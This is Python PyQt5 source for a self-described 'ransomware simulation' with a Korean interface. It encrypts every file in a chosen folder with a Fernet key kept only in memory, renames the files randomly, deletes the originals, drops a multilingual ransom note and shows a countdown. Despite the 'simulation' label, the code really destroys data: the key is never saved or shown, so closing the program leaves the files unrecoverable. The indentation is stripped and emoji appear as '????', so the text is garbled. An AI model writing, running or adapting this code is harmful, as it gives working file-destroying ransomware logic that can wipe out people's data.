import sys, os, random, string
from PyQt5.QtWidgets import *
from PyQt5.QtCore import QTimer, Qt
from PyQt5.QtGui import QFont, QColor, QPalette
from cryptography.fernet import Fernet
def random_filename(length=10):
return ''.join(random.choices(string.ascii_letters + string.digits, k=length))
class RansomSim(QWidget):
def __init__(self):
super().__init__()
self.setWindowTitle("???? 랜섬웨어 시뮬레이션 - 극한 모드")
self.setGeometry(100, 100, 600, 500)
self.setStyleSheet("background-color: black; color: red;")
self.layout = QVBoxLayout()
self.label = QLabel("⚠️ 시스템이 감염되었습니다 ⚠️")
self.label.setFont(QFont("Consolas", 18, QFont.Bold))
self.label.setAlignment(Qt.AlignCenter)
self.layout.addWidget(self.label)
self.timer_display = QLabel("⏳ 복호화까지 남은 시간: 60초")
self.timer_display.setFont(QFont("Consolas", 14))
self.timer_display.setAlignment(Qt.AlignCenter)
self.layout.addWidget(self.timer_display)
self.select_button = QPushButton("???? 폴더 선택")
self.select_button.clicked.connect(self.select_folder)
self.layout.addWidget(self.select_button)
self.start_button = QPushButton("???? 시뮬레이션 시작")
self.start_button.clicked.connect(self.start_simulation)
self.layout.addWidget(self.start_button)
self.decrypt_button = QPushButton("???? 복호화 시도")
self.decrypt_button.clicked.connect(self.try_decrypt)
self.layout.addWidget(self.decrypt_button)
self.setLayout(self.layout)
self.folder_path = ""
self.key = Fernet.generate_key()
self.cipher = Fernet(self.key)
self.remaining_time = 60
self.timer = QTimer()
self.timer.timeout.connect(self.update_timer)
def select_folder(self):
self.folder_path = QFileDialog.getExistingDirectory(self, "폴더 선택")
self.label.setText(f"???? 선택된 폴더: {self.folder_path}")
def start_simulation(self):
if not self.folder_path:
self.label.setText("❌ 먼저 폴더를 선택하세요.")
return
self.label.setText("???? 암호화 시뮬레이션 시작됨...")
self.timer.start(1000)
self.encrypt_files()
self.create_ransom_note()
def update_timer(self):
self.remaining_time -= 1
self.timer_display.setText(f"⏳ 복호화까지 남은 시간: {self.remaining_time}초")
if self.remaining_time <= 0:
self.timer.stop()
self.label.setText("❌ 시간이 초과되었습니다. 복호화 불가.")
self.setStyleSheet("background-color: darkred; color: white;")
def encrypt_files(self):
log = []
for filename in os.listdir(self.folder_path):
full_path = os.path.join(self.folder_path, filename)
if os.path.isfile(full_path):
with open(full_path, "rb") as f:
data = f.read()
encrypted = self.cipher.encrypt(data)
new_name = random_filename() + ".ultra_locked"
new_path = os.path.join(self.folder_path, new_name)
with open(new_path, "wb") as f:
f.write(encrypted)
os.remove(full_path)
log.append(f"???? 암호화됨: {filename} → {new_name}")
with open(os.path.join(self.folder_path, "log.txt"), "w", encoding="utf-8") as f:
f.write("\n".join(log))
def create_ransom_note(self):
note = (
"당신의 파일은 암호화되었습니다.\n"
"복호화 키를 입력하지 않으면 영구 손실됩니다.\n"
"Your files have been encrypted.\n"
"Enter the decryption key to restore them.\n"
"ファイルは暗号化されました。復号キーを入力してください。\n"
)
with open(os.path.join(self.folder_path, "README_ULTRA.txt"), "w", encoding="utf-8") as f:
f.write(note)
def try_decrypt(self):
key, ok = QInputDialog.getText(self, "???? 복호화 키 입력", "키를 입력하세요:")
if ok and key.encode() == self.key:
for filename in os.listdir(self.folder_path):
if filename.endswith(".ultra_locked"):
full_path = os.path.join(self.folder_path, filename)
with open(full_path, "rb") as f:
data = f.read()
decrypted = self.cipher.decrypt(data)
original_path = os.path.join(self.folder_path, filename.replace(".ultra_locked", "_restored"))
with open(original_path, "wb") as f:
f.write(decrypted)
os.remove(full_path)
self.label.setText("✅ 복호화 성공!")
self.setStyleSheet("background-color: green; color: white;")
else:
self.label.setText("❌ 잘못된 키입니다. 복호화 실패.")
self.setStyleSheet("background-color: black; color: red;")
if __name__ == "__main__":
app = QApplication(sys.argv)
window = RansomSim()
window.show()
sys.exit(app.exec_())